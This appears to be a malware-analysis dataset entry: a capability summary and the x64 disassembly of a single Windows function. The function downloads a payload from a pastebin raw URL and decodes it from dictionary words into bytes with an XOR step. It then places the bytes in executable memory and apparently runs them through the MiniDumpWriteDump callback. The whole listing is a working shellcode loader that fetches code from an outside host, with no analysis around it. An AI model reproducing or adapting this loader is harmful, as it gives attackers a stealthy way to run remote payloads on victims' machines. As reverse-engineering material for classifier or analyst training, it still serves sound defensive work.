Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create http request
Create process memory minidump
Read data from internet
Receive data

Disassembly:
push rsi
push rdi
push r15
sub rsp, 0x860
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x850], rax
xor r15d, r15d
lea rcx, str.HTTPGET
xor r9d, r9d
mov dword [rsp + 0x20], r15d
xor r8d, r8d
mov edx, 1
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x1400010ea
mov qword [rsp + 0x28], r15
lea rdx, str.https:__pastebin.com_raw_WhnsJpAU
xor r9d, r9d
mov dword [rsp + 0x20], 0x80000000
xor r8d, r8d
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rdi, rax
test rax, rax
jne 0x14000110b
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov eax, 1
mov rcx, qword [rsp + 0x850]
xor rcx, rsp
call fcn.140001310
add rsp, 0x860
pop r15
pop rdi
pop rsi
ret
mov qword [rsp + 0x880], rbx
mov ebx, r15d
mov qword [rsp + 0x888], rbp
mov rbp, r15
mov qword [rsp + 0x890], r14
mov r14, 0xffffffffffffffff
mov dword [rsp + 0x40], r15d
nop word [rax + rax]
lea r9, [rsp + 0x40]
mov r8d, 0x400
lea rdx, [rsp + 0x50]
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetReadFile]
mov eax, dword [rsp + 0x40]
test eax, eax
je 0x140001194
lea edx, [rbx + rax]
mov rcx, rbp
add edx, 1
cmovb rdx, r14
call fcn.140004ba8
mov r8d, dword [rsp + 0x40]
lea rdx, [rsp + 0x50]
mov ecx, ebx
mov rbp, rax
add rcx, rax
call fcn.140015110
mov eax, dword [rsp + 0x40]
add ebx, eax
test eax, eax
jne 0x140001140
mov r14, qword [rsp + 0x890]
test rbp, rbp
je 0x1400011a7
mov eax, ebx
mov byte [rax + rbp], r15b
mov rcx, rdi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rbp
call fcn.14000813c
lea r8, [rsp + 0x48]
mov qword [rsp + 0x48], r15
lea rdx, [0x14001ef80]
mov rcx, rax
mov rdi, rax
call fcn.1400049c8
mov r10, rax
mov rbx, r15
test rax, rax
je 0x14000125f
lea rsi, str.abandon
nop
mov r9d, r15d
nop dword [rax]
nop word [rax + rax]
movsxd rcx, r9d
mov rax, r10
mov r8, qword [rsi + rcx*8]
sub r8, r10
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001223
inc rax
test ecx, ecx
jne 0x140001210
test edx, edx
je 0x140001235
inc r9d
cmp r9d, 0x121
jl 0x140001200
jmp 0x140001244
xor r9b, 0x16
mov byte [rsp + rbx + 0x450], r9b
inc rbx
lea r8, [rsp + 0x48]
xor ecx, ecx
lea rdx, [0x14001ef80]
call fcn.1400049c8
mov r10, rax
test rax, rax
jne 0x1400011f0
mov rcx, rdi
call fcn.140006c84
mov r9d, 0x40
mov r8d, 0x3000
mov rdx, rbx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rsp + 0x48], rax
test rax, rax
jne 0x140001296
lea rcx, str.VirtualAlloc_failed._n
call fcn.140001010
jmp 0x1400012dc
mov r8, rbx
lea rdx, [rsp + 0x450]
mov rcx, rax
call fcn.140015110
call qword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
mov ebx, eax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor r9d, r9d
xor r8d, r8d
mov rcx, rax
mov edx, ebx
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
mov qword [rsp + 0x28], r15
mov qword [rsp + 0x20], r15
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
mov rcx, rbp
call fcn.140006c84
mov rbp, qword [rsp + 0x888]
xor eax, eax
mov rbx, qword [rsp + 0x880]
jmp 0x1400010ef